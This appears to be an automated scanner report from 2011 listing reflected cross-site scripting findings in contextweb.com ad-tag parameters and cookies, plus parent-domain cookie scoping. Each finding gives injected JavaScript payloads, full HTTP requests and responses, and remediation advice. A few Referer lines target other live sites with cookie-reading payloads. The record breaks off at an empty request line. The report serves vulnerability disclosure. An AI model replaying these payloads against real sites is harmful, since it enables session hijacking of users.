Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the action request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 35cfb"%3balert(1)//43775ddba56 was submitted in the action parameter. This input was echoed as 35cfb";alert(1)//43775ddba56 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /TagPublish/getjs.aspx?action=VIEWAD35cfb"%3balert(1)//43775ddba56&cwrun=200&cwadformat=728X90&cwpid=521878&cwwidth=728&cwheight=90&cwpnet=1&cwtagid=70328 HTTP/1.1 Host: tag.contextweb.com Proxy-Connection: keep-alive Referer: http://www.stltoday.com/sports/football/article_9ac6caa4-5637-5237-90a6-49dae838d3ee.html?4974b%22-alert(document.cookie)-%22ac67fb5a5e7=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cwbh1=2709%3B02%2F23%2F2011%3BTOT09; C2W4=3NkvzOW21Ey13pWRGqBkRwaPNW5zUYvw9wUbeKXTZAbDcfCFvULUxnw; V=gFEcJzqCjXJj
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT" X-Powered-By: ASP.NET CW-Server: CW-WEB26 Cache-Control: public, must-revalidate, max-age=0 Last-Modified: Tue, 04 Jan 2011 15:48:05 GMT ETag: -118265498 Content-Type: application/x-javascript; charset=utf-8 Content-Length: 4885 P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT" Date: Thu, 27 Jan 2011 02:05:26 GMT Connection: close Set-Cookie: cw=cw; domain=.contextweb.com; path=/
The value of the cwadformat request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a23cf"%3balert(1)//d38ced3a000 was submitted in the cwadformat parameter. This input was echoed as a23cf";alert(1)//d38ced3a000 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /TagPublish/getjs.aspx?action=VIEWAD&cwrun=200&cwadformat=728X90a23cf"%3balert(1)//d38ced3a000&cwpid=521878&cwwidth=728&cwheight=90&cwpnet=1&cwtagid=70328 HTTP/1.1 Host: tag.contextweb.com Proxy-Connection: keep-alive Referer: http://www.stltoday.com/sports/football/article_9ac6caa4-5637-5237-90a6-49dae838d3ee.html?4974b%22-alert(document.cookie)-%22ac67fb5a5e7=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cwbh1=2709%3B02%2F23%2F2011%3BTOT09; C2W4=3NkvzOW21Ey13pWRGqBkRwaPNW5zUYvw9wUbeKXTZAbDcfCFvULUxnw; V=gFEcJzqCjXJj
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT" CW-Server: CW-WEB20 Cache-Control: public, must-revalidate, max-age=0 Last-Modified: Tue, 04 Jan 2011 15:48:05 GMT ETag: -1710949733 Content-Type: application/x-javascript; charset=utf-8 Content-Length: 4885 P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT" Date: Thu, 27 Jan 2011 02:05:26 GMT Connection: close Set-Cookie: cw=cw; domain=.contextweb.com; path=/
function cw_Process(){String.prototype.cwcontains=function(s){return(this.toLowerCase().indexOf(s.toLowerCase())!= -1);};var cu="http://tag.contextweb.com/TAGPUBLISH/getad.aspx";var cp="521878";var ct="70328";var cf="728X90a23cf";alert(1)//d38ced3a000";var ca="VIEWAD";var cr="200";var cw="728";var ch="90";var cn="1";var cads="0";var _cwd=document;var _cww=window;var _cwu="undefined";var _cwn=navigator;var _cwl="cwl";if(typeof(_cww.cwfl)==_cwu)var c ...[SNIP]...
The value of the cwheight request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 851f1"%3balert(1)//7232d2cc390 was submitted in the cwheight parameter. This input was echoed as 851f1";alert(1)//7232d2cc390 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /TagPublish/getjs.aspx?action=VIEWAD&cwrun=200&cwadformat=728X90&cwpid=521878&cwwidth=728&cwheight=90851f1"%3balert(1)//7232d2cc390&cwpnet=1&cwtagid=70328 HTTP/1.1 Host: tag.contextweb.com Proxy-Connection: keep-alive Referer: http://www.stltoday.com/sports/football/article_9ac6caa4-5637-5237-90a6-49dae838d3ee.html?4974b%22-alert(document.cookie)-%22ac67fb5a5e7=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cwbh1=2709%3B02%2F23%2F2011%3BTOT09; C2W4=3NkvzOW21Ey13pWRGqBkRwaPNW5zUYvw9wUbeKXTZAbDcfCFvULUxnw; V=gFEcJzqCjXJj
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT" X-Powered-By: ASP.NET CW-Server: CW-WEB10 Cache-Control: public, must-revalidate, max-age=0 Last-Modified: Tue, 04 Jan 2011 15:48:05 GMT ETag: 1908444997 Content-Type: application/x-javascript; charset=utf-8 Content-Length: 4885 P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT" Date: Thu, 27 Jan 2011 02:05:27 GMT Connection: close Set-Cookie: cw=cw; domain=.contextweb.com; path=/
The value of the cwpid request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 33a7d"%3balert(1)//a09c48c3d80 was submitted in the cwpid parameter. This input was echoed as 33a7d";alert(1)//a09c48c3d80 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /TagPublish/getjs.aspx?action=VIEWAD&cwrun=200&cwadformat=728X90&cwpid=52187833a7d"%3balert(1)//a09c48c3d80&cwwidth=728&cwheight=90&cwpnet=1&cwtagid=70328 HTTP/1.1 Host: tag.contextweb.com Proxy-Connection: keep-alive Referer: http://www.stltoday.com/sports/football/article_9ac6caa4-5637-5237-90a6-49dae838d3ee.html?4974b%22-alert(document.cookie)-%22ac67fb5a5e7=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cwbh1=2709%3B02%2F23%2F2011%3BTOT09; C2W4=3NkvzOW21Ey13pWRGqBkRwaPNW5zUYvw9wUbeKXTZAbDcfCFvULUxnw; V=gFEcJzqCjXJj
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT" CW-Server: CW-WEB29 Cache-Control: public, must-revalidate, max-age=0 Last-Modified: Tue, 04 Jan 2011 15:48:05 GMT ETag: 2020390095 Content-Type: application/x-javascript; charset=utf-8 Content-Length: 4885 P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT" Date: Thu, 27 Jan 2011 02:05:26 GMT Connection: close Set-Cookie: cw=cw; domain=.contextweb.com; path=/
The value of the cwpnet request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8d342"%3balert(1)//0b199ca7023 was submitted in the cwpnet parameter. This input was echoed as 8d342";alert(1)//0b199ca7023 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /TagPublish/getjs.aspx?action=VIEWAD&cwrun=200&cwadformat=728X90&cwpid=521878&cwwidth=728&cwheight=90&cwpnet=18d342"%3balert(1)//0b199ca7023&cwtagid=70328 HTTP/1.1 Host: tag.contextweb.com Proxy-Connection: keep-alive Referer: http://www.stltoday.com/sports/football/article_9ac6caa4-5637-5237-90a6-49dae838d3ee.html?4974b%22-alert(document.cookie)-%22ac67fb5a5e7=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cwbh1=2709%3B02%2F23%2F2011%3BTOT09; C2W4=3NkvzOW21Ey13pWRGqBkRwaPNW5zUYvw9wUbeKXTZAbDcfCFvULUxnw; V=gFEcJzqCjXJj
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT" CW-Server: CW-WEB28 Cache-Control: public, must-revalidate, max-age=0 Last-Modified: Tue, 04 Jan 2011 15:48:05 GMT ETag: 1335039732 Content-Type: application/x-javascript; charset=utf-8 Content-Length: 4885 P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT" Date: Thu, 27 Jan 2011 02:05:27 GMT Connection: close Set-Cookie: cw=cw; domain=.contextweb.com; path=/
The value of the cwrun request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload deecd"%3balert(1)//662f88dee4a was submitted in the cwrun parameter. This input was echoed as deecd";alert(1)//662f88dee4a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /TagPublish/getjs.aspx?action=VIEWAD&cwrun=200deecd"%3balert(1)//662f88dee4a&cwadformat=728X90&cwpid=521878&cwwidth=728&cwheight=90&cwpnet=1&cwtagid=70328 HTTP/1.1 Host: tag.contextweb.com Proxy-Connection: keep-alive Referer: http://www.stltoday.com/sports/football/article_9ac6caa4-5637-5237-90a6-49dae838d3ee.html?4974b%22-alert(document.cookie)-%22ac67fb5a5e7=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cwbh1=2709%3B02%2F23%2F2011%3BTOT09; C2W4=3NkvzOW21Ey13pWRGqBkRwaPNW5zUYvw9wUbeKXTZAbDcfCFvULUxnw; V=gFEcJzqCjXJj
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT" X-Powered-By: ASP.NET CW-Server: CW-WEB27 Cache-Control: public, must-revalidate, max-age=0 Last-Modified: Tue, 04 Jan 2011 15:48:05 GMT ETag: -117066354 Content-Type: application/x-javascript; charset=utf-8 Content-Length: 4885 P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT" Date: Thu, 27 Jan 2011 02:05:26 GMT Connection: close Set-Cookie: cw=cw; domain=.contextweb.com; path=/
The value of the cwtagid request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a399b"%3balert(1)//e17fa1c98e2 was submitted in the cwtagid parameter. This input was echoed as a399b";alert(1)//e17fa1c98e2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /TagPublish/getjs.aspx?action=VIEWAD&cwrun=200&cwadformat=728X90&cwpid=521878&cwwidth=728&cwheight=90&cwpnet=1&cwtagid=70328a399b"%3balert(1)//e17fa1c98e2 HTTP/1.1 Host: tag.contextweb.com Proxy-Connection: keep-alive Referer: http://www.stltoday.com/sports/football/article_9ac6caa4-5637-5237-90a6-49dae838d3ee.html?4974b%22-alert(document.cookie)-%22ac67fb5a5e7=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cwbh1=2709%3B02%2F23%2F2011%3BTOT09; C2W4=3NkvzOW21Ey13pWRGqBkRwaPNW5zUYvw9wUbeKXTZAbDcfCFvULUxnw; V=gFEcJzqCjXJj
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT" X-Powered-By: ASP.NET CW-Server: CW-WEB10 Cache-Control: public, must-revalidate, max-age=0 Last-Modified: Tue, 04 Jan 2011 15:48:05 GMT ETag: -570943684 Content-Type: application/x-javascript; charset=utf-8 Content-Length: 4885 P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT" Date: Thu, 27 Jan 2011 02:05:27 GMT Connection: close Set-Cookie: cw=cw; domain=.contextweb.com; path=/
The value of the cwwidth request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c5207"%3balert(1)//2b53f006ccc was submitted in the cwwidth parameter. This input was echoed as c5207";alert(1)//2b53f006ccc in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /TagPublish/getjs.aspx?action=VIEWAD&cwrun=200&cwadformat=728X90&cwpid=521878&cwwidth=728c5207"%3balert(1)//2b53f006ccc&cwheight=90&cwpnet=1&cwtagid=70328 HTTP/1.1 Host: tag.contextweb.com Proxy-Connection: keep-alive Referer: http://www.stltoday.com/sports/football/article_9ac6caa4-5637-5237-90a6-49dae838d3ee.html?4974b%22-alert(document.cookie)-%22ac67fb5a5e7=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cwbh1=2709%3B02%2F23%2F2011%3BTOT09; C2W4=3NkvzOW21Ey13pWRGqBkRwaPNW5zUYvw9wUbeKXTZAbDcfCFvULUxnw; V=gFEcJzqCjXJj
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT" CW-Server: CW-WEB28 Cache-Control: public, must-revalidate, max-age=0 Last-Modified: Tue, 04 Jan 2011 15:48:05 GMT ETag: -668752434 Content-Type: application/x-javascript; charset=utf-8 Content-Length: 4885 P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT" Date: Thu, 27 Jan 2011 02:05:26 GMT Connection: close Set-Cookie: cw=cw; domain=.contextweb.com; path=/
The value of the V cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f308f'%3balert(1)//fc7d6c78e5f was submitted in the V cookie. This input was echoed as f308f';alert(1)//fc7d6c78e5f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /TAGPUBLISH/getad.aspx?tagver=1&if=0&ca=VIEWAD&cp=521878&ct=70328&cf=728X90&cn=1&rq=1&fldc=0&dw=1155&cwu=http%3A%2F%2Fwww.stltoday.com%2Fsports%2Ffootball%2Farticle_9ac6caa4-5637-5237-90a6-49dae838d3ee.html%3F4974b%2522-alert%28document.cookie%29-%2522ac67fb5a5e7%3D1&mrnd=63117641 HTTP/1.1 Host: tag.contextweb.com Proxy-Connection: keep-alive Referer: http://www.stltoday.com/sports/football/article_9ac6caa4-5637-5237-90a6-49dae838d3ee.html?4974b%22-alert(document.cookie)-%22ac67fb5a5e7=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cwbh1=2709%3B02%2F23%2F2011%3BTOT09; C2W4=3NkvzOW21Ey13pWRGqBkRwaPNW5zUYvw9wUbeKXTZAbDcfCFvULUxnw; V=gFEcJzqCjXJjf308f'%3balert(1)//fc7d6c78e5f; cw=cw
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT" CW-Server: CW-WEB30 Cache-Control: no-cache Pragma: no-cache Expires: -1 Content-Type: application/x-javascript; charset=utf-8 Content-Length: 2093 P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT" Date: Thu, 27 Jan 2011 02:05:46 GMT Connection: close Set-Cookie: V=gFEcJzqCjXJjf308f'%3balert(1)//fc7d6c78e5f; domain=.contextweb.com; expires=Fri, 27-Jan-2012 02:05:46 GMT; path=/ Set-Cookie: 521878_728X90_70328=1/26/2011 9:05:46 PM; domain=.contextweb.com; path=/ Set-Cookie: cr=24|1|-8589049081386230998|1; domain=.contextweb.com; expires=Sun, 22-Jan-2012 02:05:46 GMT; path=/ Set-Cookie: vf=1; domain=.contextweb.com; expires=Thu, 27-Jan-2011 05:00:00 GMT; path=/
var strCreative='' + '\n' + '<script language="JavaScript">\n' + 'var zflag_nid="1174"; var zflag_cid="1"; var zflag_sid="1"; var zflag_width="728"; var zflag_height="90"; var zflag_sz="14"; var ...[SNIP]... <img src="http://tags.bluekai.com/site/3358?id=gFEcJzqCjXJjf308f';alert(1)//fc7d6c78e5f" height="1" width="1" /> ...[SNIP]...
The value of the cwbh1 cookie is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b0f31'-alert(1)-'b2d855e07aa was submitted in the cwbh1 cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /TAGPUBLISH/getad.aspx?tagver=1&if=0&ca=VIEWAD&cp=521878&ct=70328&cf=728X90&cn=1&rq=1&fldc=0&dw=1155&cwu=http%3A%2F%2Fwww.stltoday.com%2Fsports%2Ffootball%2Farticle_9ac6caa4-5637-5237-90a6-49dae838d3ee.html%3F4974b%2522-alert%28document.cookie%29-%2522ac67fb5a5e7%3D1&mrnd=63117641 HTTP/1.1 Host: tag.contextweb.com Proxy-Connection: keep-alive Referer: http://www.stltoday.com/sports/football/article_9ac6caa4-5637-5237-90a6-49dae838d3ee.html?4974b%22-alert(document.cookie)-%22ac67fb5a5e7=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cwbh1=2709%3B02%2F23%2F2011%3BTOT09b0f31'-alert(1)-'b2d855e07aa; C2W4=3NkvzOW21Ey13pWRGqBkRwaPNW5zUYvw9wUbeKXTZAbDcfCFvULUxnw; V=gFEcJzqCjXJj; cw=cw
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT" CW-Server: CW-WEB28 Cache-Control: no-cache Pragma: no-cache Expires: -1 Content-Type: application/x-javascript; charset=utf-8 Content-Length: 2158 P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT" Date: Thu, 27 Jan 2011 02:05:45 GMT Connection: close Set-Cookie: V=gFEcJzqCjXJj; domain=.contextweb.com; expires=Fri, 27-Jan-2012 02:05:45 GMT; path=/ Set-Cookie: 521878_728X90_70328=1/26/2011 9:05:45 PM; domain=.contextweb.com; path=/ Set-Cookie: cr=24|1|-8589049081396826993|1; domain=.contextweb.com; expires=Sun, 22-Jan-2012 02:05:45 GMT; path=/ Set-Cookie: vf=1; domain=.contextweb.com; expires=Thu, 27-Jan-2011 05:00:00 GMT; path=/
var strCreative='' + '\n' + '<script language="JavaScript">\n' + 'var zflag_nid="1174"; var zflag_cid="1"; var zflag_sid="1"; var zflag_width="728"; var zflag_height="90"; var zflag_sz="14"; var ...[SNIP]... <IFRAME SRC="http://pixel.quantserve.com/pixel/p-01-0VIaSjnOLg.gif?tags=CONTEXTWEB.SPORTSRECREATION,521878,,,TOT09b0f31'-alert(1)-'b2d855e07aa,728X90" HEIGHT="0" WIDTH="0" MARGINWIDTH="0" MARGINHEIGHT="0" ALLOWTRANSPARENCY="true" FRAMEBORDER="0" SCROLLING="NO"> ...[SNIP]...
2. Cookie scoped to parent domainpreviousnext There are 7 instances of this issue:
A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.
Issue remediation
By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /TAGPUBLISH/getad.aspx?tagver=1&if=1&ca=VIEWAD&cp=526328&ct=79778&cf=728X90&cn=1&rq=1&fldc=-12&dw=728&cwu=http%3A%2F%2Fwww.middletownpress.com%2Farticles%2F2011%2F01%2F26%2Fentertainment%2Fdoc4d3fa2e76b25f513477040.txta5a69%2522style%253d%2522x%253aexpression%28alert%281%29%29%25225c0fc6a83d6&mrnd=69265729 HTTP/1.1 Host: tag.contextweb.com Proxy-Connection: keep-alive Referer: http://tag.admeld.com/ad/iframe/215/journalregistercompany/728x90/middletown_press_atf?t=1296072882978&tz=360&hu=&ht=js&hp=0&url=http%3A%2F%2Fwww.middletownpress.com%2Farticles%2F2011%2F01%2F26%2Fentertainment%2Fdoc4d3fa2e76b25f513477040.txta5a69%2522style%253d%2522x%253aexpression(alert(1))%25225c0fc6a83d6&refer=http%3A%2F%2Fburp%2Fshow%2F23 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: cwbh1=2709%3B02%2F23%2F2011%3BTOT09; C2W4=3NkvzOW21Ey13pWRGqBkRwaPNW5zUYvw9wUbeKXTZAbDcfCFvULUxnw; 521878_728X90_70328=1/26/2011 3:10:32 PM; vf=1; V=gFEcJzqCjXJj; cw=cw
Response
HTTP/1.1 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT" CW-Server: CW-WEB28 Cache-Control: no-cache Pragma: no-cache Expires: -1 Content-Type: application/x-javascript; charset=utf-8 Content-Length: 1133 P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa DEVa PSAa OUR BUS COM NAV INT" Date: Thu, 27 Jan 2011 02:05:45 GMT Connection: close Set-Cookie: V=gFEcJzqCjXJj; domain=.contextweb.com; expires=Fri, 27-Jan-2012 02:05:45 GMT; path=/ Set-Cookie: 526328_728X90_79778=1/26/2011 9:05:46 PM; domain=.contextweb.com; path=/ Set-Cookie: cr=405|1|-8589049081396201985|1; domain=.contextweb.com; expires=Sun, 22-Jan-2012 02:05:46 GMT; path=/ Set-Cookie: vf=2; domain=.contextweb.com; expires=Thu, 27-Jan-2011 05:00:00 GMT; path=/
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
